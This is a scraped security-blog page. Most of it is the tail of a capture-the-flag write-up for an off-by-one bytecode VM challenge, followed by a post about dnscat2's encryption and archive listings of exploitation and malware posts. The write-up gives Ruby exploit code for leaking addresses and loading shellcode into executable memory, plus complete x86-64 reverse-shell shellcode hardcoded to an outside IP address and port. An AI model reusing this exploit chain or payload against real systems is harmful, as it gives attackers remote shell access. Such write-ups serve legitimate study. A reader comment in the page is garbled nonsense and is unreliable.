        JIT = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    A pointer to the memory is stored in a global variable. Since we have the ability to read an arbitrary address—once I realized my 64-bit problem—it was pretty easy to read the pointer:

    def leak_rwx_address()
      puts("[*] Attempting to leak the address of the mmap()'d +rwx memory...")
      s = init()
    
      # This offset is always constant, from the binary
      jit_ptr = @@base_addr + 0x20f5c0
    
      # Read both halves of the address - the read is relative to the stack-
      # based register array, and has a granularity of 4, hence the math
      # I'm doing here
      ops = []
      ops << create_op(OP_OUT, (jit_ptr - @@registers) / 4)
      ops << create_op(OP_OUT, ((jit_ptr + 4) - @@registers) / 4)
      ops << create_op(OP_EXIT)
      add(s, ops, 16)
      result = execute(s, 0, [])
    
      # Convert the result from a space-delimited hex list to an integer array
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the address
      @@rwx_addr = ((a[1] << 32) | (a[0]))
    
      # User output
      puts("[*] Found the +rwx memory: 0x#{@@rwx_addr.to_s(16)}")
    
      s.close
    end
    
    

    Basically, we know the pointer to the JIT code is at the base_addr + 0x20f5c0 (determined with IDA). So we do some math with that address and the base address of the registers array (dividing by 4 because that's the width of each register).

    Finishing up

    Now that we can run arbitrary bytecode instructions, we can read, write, and execute any address. But there was one more problem: getting the code into the JIT memory.

    It seems pretty straight forward, since we can write to arbitrary memory, but there's a problem: you don't have any absolute values in the assembly language, which means I can't directly write a bunch of values to memory. What I could do, however, is write values from registers to memory, and I can set the registers by passing in arguments.

    BUT, reg0 gets messed up and two registers are wasted because I have to use them to overwrite the return address. That means I have 7 32-bit registers that I can use.

    What you're probably thinking is that I can implement a multiplexer in their assembly language. I could have some operands like "write this dword to this memory address" and build up the shellcode by calling the function multiple times with multiple arguments.

    If you're thinking that, then you're sharper than I was at 7am with no sleep! I decided that the best way was to write a shellcode loader in 24 bytes. I actually love writing short, custom-purpose shellcode, there's something satisfying about it. :)

    Here's my loader shellcode:

      # Create some loader shellcode. I'm not proud of this - it was 7am, and I hadn't
      # slept yet. I immediately realized after getting some sleep that there was a
      # way easier way to do this...
      params =
        # param0 gets overwritten, just store crap there
        "\x41\x41\x41\x41" +
    
        # param1 + param2 are the return address
        [@@rwx_addr & 0x00000000FFFFFFFF, @@rwx_addr >> 32].pack("II") +
    
        # ** Now, we build up to 24 bytes of shellcode that'll load the actual shellcode
    
        # Decrease ECX to a reasonable number (somewhere between 200 and 10000, doesn't matter)
        "\xC1\xE9\x10" +  # shr ecx, 10
    
        # This is where the shellcode is read from - to save a couple bytes (an absolute move is 10
        # bytes long!), I use r12, which is in the same image and can be reached with a 4-byte add
        "\x49\x8D\xB4\x24\x88\x2B\x20\x00" + # lea rsi,[r12+0x202b88]
    
        # There is where the shellcode is copied to - immediately after this shellcode
        "\x48\xBF" + [@@rwx_addr + 24].pack("Q") + # mov rdi, @@rwx_addr + 24
    
        # And finally, this moves the bytes over
        "\xf3\xa4" # rep movsb
    
      # Pad the shellcode with NOP bytes so it can be used as an array of ints
      while((params.length % 4) != 0)
        params += "\x90"
      end
    
      # Convert the shellcode to an array of ints
      params = params.unpack("I*")
    

    Basically, the first three arguments are wasted (the first gets messed up and the next two are the return address). Then we set up a call to "rep movsb", with rsi, rdi, and rcx set appropriately (and complicatedly). You can see how I did that in the comments. All told, it's 23 bytes of machine code.

    It took me a lot of time to get that working, though! Squeezing out every single byte! It basically copies the code from the next bytecode function (whose address I can calculate based on r12) to the address immediately after itself in the +RWX memory (which I can leak beforehand).

    This code is written to the +RWX memory using these operations:

      ops = []
    
      # Overwrite teh reteurn address with the first two operations
      ops << create_op(OP_MOV, 26, 1)
      ops << create_op(OP_MOV, 27, 2)
    
      # This next bunch copies shellcode from the arguments into the +rwx memory
      ops << create_op(OP_MOV, ((@@rwx_addr + 0) - @@registers) / 4, 3)
      ops << create_op(OP_MOV, ((@@rwx_addr + 4) - @@registers) / 4, 4)
      ops << create_op(OP_MOV, ((@@rwx_addr + 8) - @@registers) / 4, 5)
      ops << create_op(OP_MOV, ((@@rwx_addr + 12) - @@registers) / 4, 6)
      ops << create_op(OP_MOV, ((@@rwx_addr + 16) - @@registers) / 4, 7)
      ops << create_op(OP_MOV, ((@@rwx_addr + 20) - @@registers) / 4, 8)
      ops << create_op(OP_MOV, ((@@rwx_addr + 24) - @@registers) / 4, 9)
    

    Then I just convert the shellcode into a bunch of bytecode operators / operands, which will be the entirity of the fourth bytecode function (I'm proud to say that this code worked on the first try):

      # Pad the shellcode to the proper length
      shellcode = SHELLCODE
      while((shellcode.length % 26) != 0)
        shellcode += "\xCC"
      end
    
      # Now we create a new function, which simply stores the actual shellcode.
      # Because this is a known offset, we can copy it to the +rwx memory with
      # a loader
      ops = []
    
      # Break the shellcode into 26-byte chunks (the size of an operation)
      shellcode.chars.each_slice(26) do |slice|
        # Make the character array into a string
        slice = slice.join
    
        # Split it into the right proportions
        a, b, c, d = slice.unpack("SQQQ")
    
        # Add them as a new operation
        ops << create_op(a, b, c, d)
      end
    
      # Add the operations to a new function (no offset, since we just need to
      # get it stored, not run as bytecode)
      add(s, ops, 16)
    

    And, for good measure, here's my 64-bit connect-back shellcode:

    # Port 17476, chosen so I don't have to think about endianness at 7am at night :)
    REVERSE_PORT = "\x44\x44"
    
    # 206.220.196.59
    REVERSE_ADDR = "\xCE\xDC\xC4\x3B"
    
    # Simple reverse-tcp shellcode I always use
    SHELLCODE = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
    "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
    "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
    "\x02" + REVERSE_PORT + "\xc7\x44\x24\x04" + REVERSE_ADDR + "\x48\x89\xe6\x6a\x10" +
    "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
    "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
    "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
    "\x5f\x6a\x3b\x58\x0f\x05"
    
    

    It's slightly modified from some code I found online. I'm mostly just including it so I can find it again next time I need it. :)

    Conclusion

    To summarize everything...

    There was an off-by-one vulnerability in the verifyBytecode() function. I used that to break out of the sandbox and run unverified bytecode.

    That bytecode allowed me to read/write/execute arbitrary memory. I used it to leak the base address of the binary, the base address of the register array (where my reads/writes are relative to), and the address of some +RWX memory.

    I copied loader code into that +RWX memory, then ran it. It copied the next bytecode function, as actual machine code, to the +RWX memory.

    Then I got a shell.

    Hope that was useful!

    One thought on “GitS 2015: Giggles (off-by-one virtual machine)

    1. Reply

      al(l)exk(1)

      Shouldn't the jump (or "hop") in the initial hex "w32dasm" program on the 'eax' went through to the F000000484 memory slot, instead of the F0000009135, as it did. Luckily...!?

      Don't quite understand the logic behind the 'psy9020*' which is entered when trying to register after the 11th repetition of the binary EGI, which is not really of importance to the Owner of the Code, plus -- why whould you PWN the green and red before even considering that yellow rules the tunnelling... if we are debugging AT&T, for example. Sorry, little of topic.

      I guess, the difference, is getting bigger and greater, instead of balancing the inequality, which is LONG OVERDUE... nor public -- nor private!?!?!

      -- Alexander

      P.S. "Hi, to all the little N*i*n*j*a*Z out there!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### August » 2015 » SkullSecurity

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :) I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's […]

    #####EOF##### Nbtool - SkullSecurity

    Nbtool

    From SkullSecurity
    Jump to: navigation, search

    nbtool

    Some tools for NetBIOS and DNS investigation, attacks, and communication.

    Features

    See the individual tools for more information.

    Supports

    Current version is tested on:

    • Linux 32 and 64-bit
    • Mac OS X Intel
    • Windows 2000, XP, 2003
    • iPhone (make iphone) -- hasn't been tested lately
    • iPod Touch (make ipod) -- hasn't been tested lately

    (Let me know if it works on other operating systems)

    Downloads

    How to compile

    Linux

    Download the source, extract it, and run 'make' then 'make install in its directory.

    BSD

    Same as Linux (should be compatible with BSD's version of make)

    OS X

    Same as BSD and Linux

    Windows

    Double-click on the .sln file in the 'mswin32' folder to load in Visual Studio, then compile.

    Hacking

    If you want to help out with nbtool, that's great! Take a look at the TODO file in the source, or come up with your own ideas about how we can play with NetBIOS/DNS/other nameservers.

    Right now, there's no mailing list or anything like that -- the project is too young -- but feel free to email me (ron -at- skullsecurity.net) with ideas or patches (against latest svn build).

    Navigation menu

    #####EOF##### dnscat2: now with crypto! » SkullSecurity


    dnscat2: now with crypto!

    Hey everybody,

    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

    Tell me what's new!

    By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

    By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

    If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

    Let's look at the man-in-the-middle protection...

    Short authentication strings

    First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

    Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

    Encrypted session established! For added security, please verify the server also displays this string:
    
    Tort Hither Harold Motive Nuns Unwrap
    

    And the server:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Tort Hither Harold Motive Nuns Unwrap
    

    There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

    Authentication

    Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

    Details on how this is implemented are below.

    How stealthy is it?

    To be perfectly honest: not completely.

    The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

    After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

    It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

    Of course, that doesn't stop people from patching things. :)

    The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

    What are the hidden costs?

    Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

    Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

    Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

    How do I turn it off?

    The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

    Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

    Give me some technical details!

    Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

    But I'll summarize it here. :)

    The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

    That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

    Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

    As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

    Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

    If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

    Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

    And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

    Challenges

    A few of the challenges I had to work through...

    • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
    • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
    • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
    • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
    • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

    Shouts out

    I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

    So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

    • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
    • Brandon Enright, who give me a ton of handy crypto advice
    • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

    One thought on “dnscat2: now with crypto!

    1. Reply

      techmonkey

      Awesome. Thanks Ron!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### SkullSecurity » Adventures In Security » Page 2

    GitS 2015: aart.php (race condition)

    Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally see in CTFs: a race condition!

    But we'll get to that after, first I want to talk about a wrong path that I spent a lot of time on. :)
    Continue reading

    GitS 2015: knockers.py (hash extension vulnerability)

    As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that I wrote :) ))

    The level was called "knockers". It's a simple python script that listens on an IPv6 UDP port and, if it gets an appropriately signed request, opens one or more other ports. The specific challenge gave you a signed token to open port 80, and challenged you to open up port 7175. The service itself listened on port 8008 ("BOOB", to go with the "knockers" name :) ).

    You can download the original level here (Python).
    Continue reading

    Call for help: researching the recent gmail password leak

    Hey folks,

    You probably heard this week about 5 million @gmail.com accounts posted. I've been researching it independently, and was hoping for some community help (this is completely unrelated to the fact that I work at Google - I just like passwords).

    I'm reasonably sure that the released list is an amalgamation of a bunch of other lists and breaches. But I don't know what ones - that's what I'm trying to find out!

    Which brings me to how you can help: people who can recognize which site their password came from. I'm trying to build a list of which breaches were aggregated to create this list, in the hopes that I can find breaches that were previously unreported!

    If you want to help:

        1. Check your email address on https://haveibeenpwned.com/
        2. If you're in the list, email ihazhacked@skullsecurity.org from the associated account
        3. I'll tell you the password that was associated with that account
        4. And, most importantly, you tell me which site you used that password on!

    In a couple days/weeks (depending on how many responses I get), I'll release the list of providers!

    Thanks! And, as a special 'thank you' to all of you, here are the aggregated passwords from the breach! And no, I'm not going to release (or keep) the email list. :)

    Opening the mysterious hatch of mystery

    Every once in awhile, I like to post something random here. This is another one of those times. If you want some real security info, move along now. :)

    This is a story about a random locked hatch I found in the middle of a field. Originally it was just neat, but after the "Safe" incident and the creating of /r/whatsinthisthing, I realized I had to learn more. What did it contain? Tunnels? Treasure? Dragons? A valve? I didn't know, but I had to find out!

    (spoiler: it wasn't a dragon)
    Continue reading

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here.

    This was a reverse engineering challenge where code would be constructed based on your input, then executed. You had to figure out the exact right input to generate a payload that would give you access to the server (so, in a way, there was some exploitation involved).

    Up till now, cnot from PlaidCTF has probably been my favourite hardcore reversing level, but I think this level has taken over. It was super fun!
    Continue reading

    Defcon Quals writeup for Shitsco (use-after-free vuln)

    Hey folks,

    Apparently this blog has become a CTF writeup blog! Hopefully you don't mind, I still try to keep all my posts educational.

    Anyway, this is the first of two writeups for the Defcon CTF Qualifiers (2014). I only completed two levels, both of which were binary reversing/exploitation! This particular level was called "shitsco", and was essentially a use-after-free vulnerability. You can download the level, as well as my annotated IDA file, here.
    Continue reading

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks,

    This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other!

    Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let's see why!
    Continue reading

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!?

    Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in exploitation—it's actually one of the easiest exploitation levels you'll find!
    Continue reading

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks,

    This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 years ago - April of 2010. Unlike mtpox, this tool isn't the least bit popular, but it sure made my life easy!
    Continue reading

    PlaidCTF writeup for Web-200 – kpop (bad deserialization)

    Hello again!

    This is my second writeup from PlaidCTF this past weekend! It's for the Web level called kpop, and is about how to shoot yourself in the foot by misusing serialization (download the files). There are at least three levels I either solved or worked on that involved serialization attacks (mtpox, reeekeeeeee, and this one), which is awesome because this is a seriously undersung attack. Good on the PPP!
    Continue reading

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks,

    This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF!

    My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash extension issue, and I wrote one of most popular tools for exploiting those. So it's like the level made for me!

    (Actually, there's another level that I wrote a less popular tool for. I'll talk about that one in my next post. :) )
    Continue reading

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks,

    It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which is this weekend so here we are! You can see my other two writeups here (TI-1337) and here (gitsmsg).

    Like my other writeups, this is a "pwnage" level, and required the user to own a remote server. Unfortunately, because of my slowness, they're no longer running the server, but you can get a copy of the binary at my github page and run it yourself. It's a 64-bit Linux ELF executable. It didn't have ASLR, and DEP would have been
    Continue reading

    Ghost in the Shellcode: gitsmsg (Pwnage 299)

    "It's Saturday night; I have no date, a 2L bottle of Shasta, and my all-rush mix tape. Let's rock!"

    ...that's what I said before I started gitsmsg. I then entered "Rush" into Pandora, and listened to a mix of Rush, Kansas, Queen, Billy Idol, and other 80's rock for the entire level. True story.

    Anyway, let's get on with it! Not too long ago I posted my writeup for the 100-level "Pwnage" challenge from Ghost in the Shellcode. Now, it's time to get a little more advanced and talk about the 299-level challenge: gitsmsg. Solved by only 11 teams, this was considerably more challenging.

    As before, you can obtain the binary, my annotated IDA database, and exploit code on my Github page
    Continue reading

    Ghost in the Shellcode: TI-1337 (Pwnable 100)

    Hey everybody,

    This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode!

    Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not to ever decide on a team name, mainly to avoid getting competitive—managed to get 20th place out of at least 300 scoring teams!

    I personally solved three levels: TI-1337, gitsmsg, and fuzzy. This is the first of three writeups, for the easiest of the three: TI-1337—solved by 44 teams.

    You can download the binary, as well as the exploit, the IDA Pro files, and everything else worth keeping that I generated, from my Github repository.
    Continue reading

    In-depth malware: Unpacking the ‘lcmw’ Trojan

    Hey folks,

    Happy New Year, and welcome to 2014!

    On a recent trip to Tyson's Corner, VA, I had some time to kill, so I took a careful look at a malware sample that a friend of mine sent to me some time ago, which I believe he originally got off somebody else's hosed system. The plan was for me to investigate it, and I promised him I would; it just took awhile!

    Anyways, the sample has a few layers of packing, and I thought it'd be fun/interesting to show you how to unwrap the entire thing to obtain the final payload. I am not going to discuss the payload itself in this post, largely because I haven't spent much time reversing it. Perhaps in the future I'll dig a little deeper, but for now we'll focus on the packing.

    I called this sample "lcmw". It stood for something interesting, but I don't really remember what—I may have been drinking when I named it. :)
    Continue reading

    BSides Winnipeg Wrap-up

    For those of you who are close to me, you'll know that my life has been crazy lately. Between teaching courses, changing jobs (here I come, Google!recently started at Google! (I'm slow at posting these :) )), and organizing BSides Winnipeg, I've barely had time to breathe!

    Things are still chaotic, of course (in fact, movers were packing up my life as I wrote this), but I wanted to take some time and talk about BSides Winnipeg.

    I'll go over the background, the planning, the day-of, and some lessons learned. If you just want to see cool photos, here you go!

    Continue reading

    ropasaurusrex: a primer on return-oriented programming

    One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all!

    Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass ASLR for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post.

    Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide!
    Continue reading

    Epic “cnot” Writeup (highest value level from PlaidCTF)

    When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I suspected that "cnot" was that challenge. And I was the sucker, even though I knew it all the way...

    (It turns out, after reviewing writeups of other challenges, that most of the challenges were like this; even so, I'm proud to have been sucked in!)

    If you want a writeup where you can learn something, I plan to post a writeup for "Ropasaurus" in the next day or two. If you want a writeup about me being tortured as I fought through inconceivable horrors to finish a level and capture the bloody flag, read on! This level wasn't a lot of learning, just brute-force persistence.
    Continue reading

    A padding oracle example

    Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, and working through a padding oracle attack by hand seems like a fun exercise!

    (Having done it already and writing this introduction afterwards, I can assure you that it isn't as fun as I thought it'd be :) )

    I'm going to assume that you've read my previous blog all the way through, and jump right into things!
    Continue reading

    #####EOF##### January » 2009 » SkullSecurity

    Password dictionaries

    Greetings from 2009! I have a real post planned for the near future, but for now you're stuck with something short (and probably more useful, ultimately). I just wanted to draw attention to a few password databases I put on my wiki. You can find them here.

    #####EOF##### May » 2014 » SkullSecurity

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here. This was a reverse engineering challenge where code would be constructed […]

    Defcon Quals writeup for Shitsco (use-after-free vuln)

    Hey folks, Apparently this blog has become a CTF writeup blog! Hopefully you don't mind, I still try to keep all my posts educational. Anyway, this is the first of two writeups for the Defcon CTF Qualifiers (2014). I only completed two levels, both of which were binary reversing/exploitation! This particular level was called "shitsco", […]

    #####EOF##### #####EOF##### October » 2008 » SkullSecurity

    Calling RPC functions over SMB

    Hi everybody! This is going to be a fairly high level discussion on the sequence of calls and packets required to make MSRPC calls over the SMB protocol. I've learned this from a combination of reading the book Implementing CIFS, watching other tools do their stuff with Wireshark, and plain ol' guessing/checking.

    What does Windows tell its guests?

    Hello everybody! Lately I've been putting a lot of work into Nmap scripts that'll probe Windows deeply for information. I'm testing this with both authenticated and unauthenticated users, mostly to determine how well error conditions are handled. Every once in awhile, however, I notice something that the anonymous account or guest account can access that […]

    What time IS it?

    How synced up are the clocks on your servers? Ignoring your system times may give an important clue to attackers. Read on to find out more!

    #####EOF##### Malware » SkullSecurity

    In-depth malware: Unpacking the ‘lcmw’ Trojan

    Hey folks, Happy New Year, and welcome to 2014! On a recent trip to Tyson's Corner, VA, I had some time to kill, so I took a careful look at a malware sample that a friend of mine sent to me some time ago, which I believe he originally got off somebody else's hosed system. […]

    Taking apart the Energizer trojan – Part 4: writing a probe

    Now that we know what we need to send and receive, and how it's encoded, let's generate the actual packet. Then, once we're sure it's working, we'll convert it into an Nmap probe! In most of this section, I assume you're running Linux, Mac, or some other operating system with a built-in compiler and useful […]

    Taking apart the Energizer trojan – Part 3: disassembling

    In Part 2: runtime analysis, we discovered some important addresses in the Energizer Trojan -- specifically, the addresses that make the call to recv() data. Be sure to read that section before reading this one. Now that we have some starting addresses, we can move on to a disassembler and look at what the code's […]

    Taking apart the Energizer trojan – Part 2: runtime analysis

    In Part 1: setup, we infected the system with the Trojan. It should still be running on the victim machine. If you haven't read that section, I strongly recommend you go back and read it. Now that we've infected a test machine, the goal of this step is to experiment a little with the debugger […]

    Taking apart the Energizer trojan – Part 1: setup

    Hey all, As most of you know, a Trojan was recently discovered in the software for Energizer's USB battery charger. Following its release, I wrote an Nmap probe to detect the Trojan and HDMoore wrote a Metasploit module to exploit it. I mentioned in my last post that it was a nice sample to study […]

    Using Nmap to detect the Arucer (ie, Energizer) Trojan

    Hey, I don't usually write two posts in one day, but today is a special occasion! I was reading my news feeds (well, my co-op student (ie, intern) was -- I was doing paperwork), and noticed a story about a remote backdoor being included with the Energizer UsbCharger software. Too funny!

    Zombie Web servers: are you one?

    Greetings! I found this excellent writeup of a Web-server botnet on Slashdot this weekend. Since it sounded like just the thing for Nmap to detect, I wrote a quick script!

    Scanning for Conficker’s peer to peer

    Hi everybody, With the help of Symantec's Security Intelligence Analysis Team, I've put together a script that'll detect Conficker (.C and up) based on its peer to peer ports. The script is called p2p-conficker.nse, and automatically runs against any Windows system when scripts are being used: nmap --script p2p-conficker,smb-os-discovery,smb-check-vulns \ --script-args=safe=1 -T4 -p445 <host> or […]

    Updated Conficker detection

    Morning, all! Last night Fyodor and crew rolled out Nmap 4.85beta7. This was because some folks from the Honeynet Project discovered a false negative (showed no infection where an infection was present), which was then confirmed by Tenable. We decided to be on the safe side, and updated our checks.

    #####EOF##### CTFs » SkullSecurity

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody, A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff. The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's […]

    BSidesSF CTF wrap-up

    Welcome! While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running […]

    Defcon quals: wwtw (a series of vulns)

    Hey folks, This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. […]

    Defcon Quals: babyecho (format string vulns in gory detail)

